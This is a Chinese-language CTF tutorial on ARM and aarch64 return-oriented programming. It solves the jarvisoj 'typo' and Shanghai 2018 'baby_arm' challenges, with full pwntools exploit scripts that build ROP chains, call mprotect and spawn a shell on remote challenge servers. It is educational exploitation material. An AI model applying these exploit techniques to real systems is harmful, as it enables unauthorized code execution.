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arm - ROP

介绍

因为目前为止,arm, mips 等架构出现的 pwn 还是较简单的栈漏洞,因此目前只打算介绍 arm 下的 rop,其他漏洞的利用以后会逐渐介绍

预备知识

先看一下 arm 下的函数调用约定,函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0

除此之外,arm 的 b/bl 等指令实现跳转; pc 寄存器相当于 x86 的 eip,保存下一条指令的地址,也是我们要控制的目标

jarvisoj - typo

这里以 jarvisoj 的 typo 一题为例进行展示,题目可以在 ctf-challenge 下载

确定保护

jarvisOJ_typo [master●●] check ./typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
[*] '/home/m4x/pwn_repo/jarvisOJ_typo/typo'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)
静态链接的程序,没有开栈溢出保护和 PIE; 静态链接说明我们可以在 binary 里找到 system 等危险函数和 "/bin/sh" 等敏感字符串,因为又是 No PIE, 所以我们只需要栈溢出就能构造 ropchain 来 get shell

利用思路

因此需要我们找一个溢出点,先运行一下程序,因为是静态链接的,所以在环境配置好的情况下直接运行即可

jarvisOJ_typo [master●●] ./typo 
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit

------Begin------
throng
throng

survive
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    1172 segmentation fault  ./typo

程序的输入点不多,很容易就能找到溢出点

构造 ROP

因此思路就很明显了,利用栈溢出构造 system("/bin/sh"), 先找一下 gadgets

jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop"   
Gadgets information
============================================================
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x000083b0 : pop {r4, pc}
0x00009284 : pop {r4, r5, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}

Unique gadgets found: 13

我们只需要控制第一个参数,因此可以选择 pop {r0, r4, pc} 这条 gadgets, 来构造如下的栈结构

+-------------+
|             |
|  padding    |
+-------------+
|  padding    | <- frame pointer
+-------------+ 
|gadgets_addr | <- return address
+-------------+
|binsh_addr   |
+-------------+
|junk_data    |
+-------------+
|system_addr  |
+-------------+

这时还需要 padding 的长度和 system 以及 /bin/sh 的地址, /bin/sh 的地址用 ROPgadget 就可以找到

jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh
Strings information
============================================================
0x0006cb70 : /bin/sh
padding 的长度可以使用 pwntools 的 cyclic 来很方便的找到
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 R0   0x0
 R1   0xfffef024 ◂— 0x61616161 ('aaaa')
 R2   0x7e
 R3   0x0
 R4   0x62616162 ('baab')
 R5   0x0
 R6   0x0
 R7   0x0
 R8   0x0
 R9   0xa5ec ◂— push   {r3, r4, r5, r6, r7, r8, sb, lr}
 R10  0xa68c ◂— push   {r3, r4, r5, lr}
 R11  0x62616163 ('caab')
 R12  0x0
 SP   0xfffef098 ◂— 0x62616165 ('eaab')
 PC   0x62616164 ('daab')
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
Invalid address 0x62616164










────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ sp  0xfffef098 ◂— 0x62616165 ('eaab')
01:0004│     0xfffef09c ◂— 0x62616166 ('faab')
02:0008│     0xfffef0a0 ◂— 0x62616167 ('gaab')
03:000c│     0xfffef0a4 ◂— 0x62616168 ('haab')
04:0010│     0xfffef0a8 ◂— 0x62616169 ('iaab')
05:0014│     0xfffef0ac ◂— 0x6261616a ('jaab')
06:0018│     0xfffef0b0 ◂— 0x6261616b ('kaab')
07:001c│     0xfffef0b4 ◂— 0x6261616c ('laab')
Program received signal SIGSEGV
pwndbg> cyclic -l 0x62616164
112
因此 padding 长度即为 112

或者可以更暴力一点直接爆破栈溢出的长度

至于 system 的地址,因为这个 binary 被去除了符号表,我们可以先用 rizzo 来恢复部分符号表(关于恢复符号表暂时可以先看参考链接,以后会逐渐介绍)。虽然 rizzo 在这个 binary 上恢复的效果不好,但很幸运,在识别出来的几个函数中刚好有 system

char *__fastcall system(int a1)
{
  char *result; // r0

  if ( a1 )
    result = sub_10BA8(a1);
  else
    result = (char *)(sub_10BA8((int)"exit 0") == 0);
  return result;
}

或者可以通过搜索 /bin/sh 字符串来寻找 system 函数

exp

所有的条件都有了,构造 system("/bin/sh") 即可

jarvisOJ_typo [master●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys
import pdb
#  context.log_level = "debug"

#  for i in range(100, 150)[::-1]:
for i in range(112, 123):
    if sys.argv[1] == "l":
        io = process("./typo", timeout = 2)
    elif sys.argv[1] == "d":
        io = process(["qemu-arm", "-g", "1234", "./typo"])
    else:
        io = remote("pwn2.jarvisoj.com", 9888, timeout = 2)

    io.sendafter("quit\n", "\n")
    io.recvline()

    '''
    jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh
    Strings information
    ============================================================
    0x0006c384 : /bin/sh
    jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop|ret" | grep r0
    0x00020904 : pop {r0, r4, pc}
    '''

    payload = 'a' * i + p32(0x20904) + p32(0x6c384) * 2 + p32(0x110B4)
    success(i)
    io.sendlineafter("\n", payload)

    #  pause()
    try:
        #  pdb.set_trace()
        io.sendline("echo aaaa")
        io.recvuntil("aaaa", timeout = 1)
    except EOFError:
        io.close()
        continue
    else:
        io.interactive()

2018 上海市大学生网络安全大赛 - baby_arm

静态分析

题目给了一个 aarch64 架构的文件,没有开 canary 保护

Shanghai2018_baby_arm [master] check ./pwn
+ file ./pwn
./pwn: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped
+ checksec ./pwn
[*] '/home/m4x/pwn_repo/Shanghai2018_baby_arm/pwn'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
看一下程序逻辑
__int64 main_logic()
{
  Init();
  write(1LL, "Name:", 5LL);
  read(0LL, input, 512LL);
  sub_4007F0();
  return 0LL;
}

void sub_4007F0()
{
  __int64 v0; // [xsp+10h] [xbp+10h]

  read(0LL, &v0, 512LL);
}
程序的主干读取了 512 个字符到一个全局变量上,而在 sub_4007F0() 中,又读取了 512 个字节到栈上,需要注意的是这里直接从 frame pointer + 0x10 开始读取,因此即使开了 canary 保护也无所谓。

思路

理一下思路,可以直接 rop,但我们不知道远程的 libc 版本,同时也发现程序中有调用 mprotect 的代码段

.text:00000000004007C8                 STP             X29, X30, [SP,#-0x10]!
.text:00000000004007CC                 MOV             X29, SP
.text:00000000004007D0                 MOV             W2, #0
.text:00000000004007D4                 MOV             X1, #0x1000
.text:00000000004007D8                 MOV             X0, #0x1000
.text:00000000004007DC                 MOVK            X0, #0x41,LSL#16
.text:00000000004007E0                 BL              .mprotect
.text:00000000004007E4                 NOP
.text:00000000004007E8                 LDP             X29, X30, [SP],#0x10
.text:00000000004007EC                 RET
但这段代码把 mprotect 的权限位设成了 0,没有可执行权限,这就需要我们通过 rop 控制 mprotect 设置如 bss 段等的权限为可写可执行

因此可以有如下思路:

  1. 第一次输入 name 时,在 bss 段写上 shellcode
  2. 通过 rop 调用 mprotect 改变 bss 的权限
  3. 返回到 bss 上的 shellcode

mprotect 需要控制三个参数,可以考虑使用 ret2csu 这种方法,可以找到如下的 gadgets 来控制 x0, x1, x2 寄存器

.text:00000000004008AC                 LDR             X3, [X21,X19,LSL#3]
.text:00000000004008B0                 MOV             X2, X22
.text:00000000004008B4                 MOV             X1, X23
.text:00000000004008B8                 MOV             W0, W24
.text:00000000004008BC                 ADD             X19, X19, #1
.text:00000000004008C0                 BLR             X3
.text:00000000004008C4                 CMP             X19, X20
.text:00000000004008C8                 B.NE            loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC                              ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10]
.text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]
.text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]
.text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC                 RET

最终的 exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys
context.binary = "./pwn"
context.log_level = "debug"

if sys.argv[1] == "l":
    io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
elif sys.argv[1] == "d":
    io = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
else:
    io = remote("106.75.126.171", 33865)

def csu_rop(call, x0, x1, x2):
    payload = flat(0x4008CC, '00000000', 0x4008ac, 0, 1, call)
    payload += flat(x2, x1, x0)
    payload += '22222222'
    return payload


if __name__ == "__main__":
    elf = ELF("./pwn", checksec = False)
    padding = asm('mov x0, x0')

    sc = asm(shellcraft.execve("/bin/sh"))
    #  print disasm(padding * 0x10 + sc)
    io.sendafter("Name:", padding * 0x10 + sc)
    sleep(0.01)

    #  io.send(cyclic(length = 500, n = 8))
    #  rop = flat()
    payload = flat(cyclic(72), csu_rop(elf.got['read'], 0, elf.got['__gmon_start__'], 8))
    payload += flat(0x400824)
    io.send(payload)
    sleep(0.01)
    io.send(flat(elf.plt['mprotect']))
    sleep(0.01)

    raw_input("DEBUG: ")
    io.sendafter("Name:", padding * 0x10 + sc)
    sleep(0.01)

    payload = flat(cyclic(72), csu_rop(elf.got['__gmon_start__'], 0x411000, 0x1000, 7))
    payload += flat(0x411068)
    sleep(0.01)
    io.send(payload)

    io.interactive()

notice

同时需要注意的是,checksec 检测的结果是开了 nx 保护,但这样检测的结果不一定准确,因为程序的 nx 保护也可以通过 qemu 启动时的参数 -nx 来决定(比如这道题目就可以通过远程失败时的报错发现程序开了 nx 保护),老版的 qemu 可能没有这个参数。

Desktop ./qemu-aarch64 --version
qemu-aarch64 version 2.7.0, Copyright (c) 2003-2016 Fabrice Bellard and the QEMU Project developers
Desktop ./qemu-aarch64 -h| grep nx
-nx           QEMU_NX           enable NX implementation

如果有如下的报错,说明没有 aarch64 的汇编器

[ERROR] Could not find 'as' installed for ContextType(arch = 'aarch64', binary = ELF('/home/m4x/Projects/ctf-challenges/pwn/arm/Shanghai2018_baby_arm/pwn'), bits = 64, endian = 'little', log_level = 10)
    Try installing binutils for this architecture:
    https://docs.pwntools.com/en/stable/install/binutils.html
可以参考官方文档的解决方案
Shanghai2018_baby_arm [master●] apt search binutils| grep aarch64
p   binutils-aarch64-linux-gnu                                         - GNU binary utilities, for aarch64-linux-gnu target
p   binutils-aarch64-linux-gnu:i386                                    - GNU binary utilities, for aarch64-linux-gnu target
p   binutils-aarch64-linux-gnu-dbg                                     - GNU binary utilities, for aarch64-linux-gnu target (debug symbols)
p   binutils-aarch64-linux-gnu-dbg:i386                                - GNU binary utilities, for aarch64-linux-gnu target (debug symbols)
Shanghai2018_baby_arm [master●] sudo apt install bintuils-aarch64-linux-gnu

aarch64 的文件在装 libc 时是 arm64,在装 binutils 时是 aarch64

例题

Codegate2015 - melong

参考文献

http://www.freebuf.com/articles/terminal/134980.html


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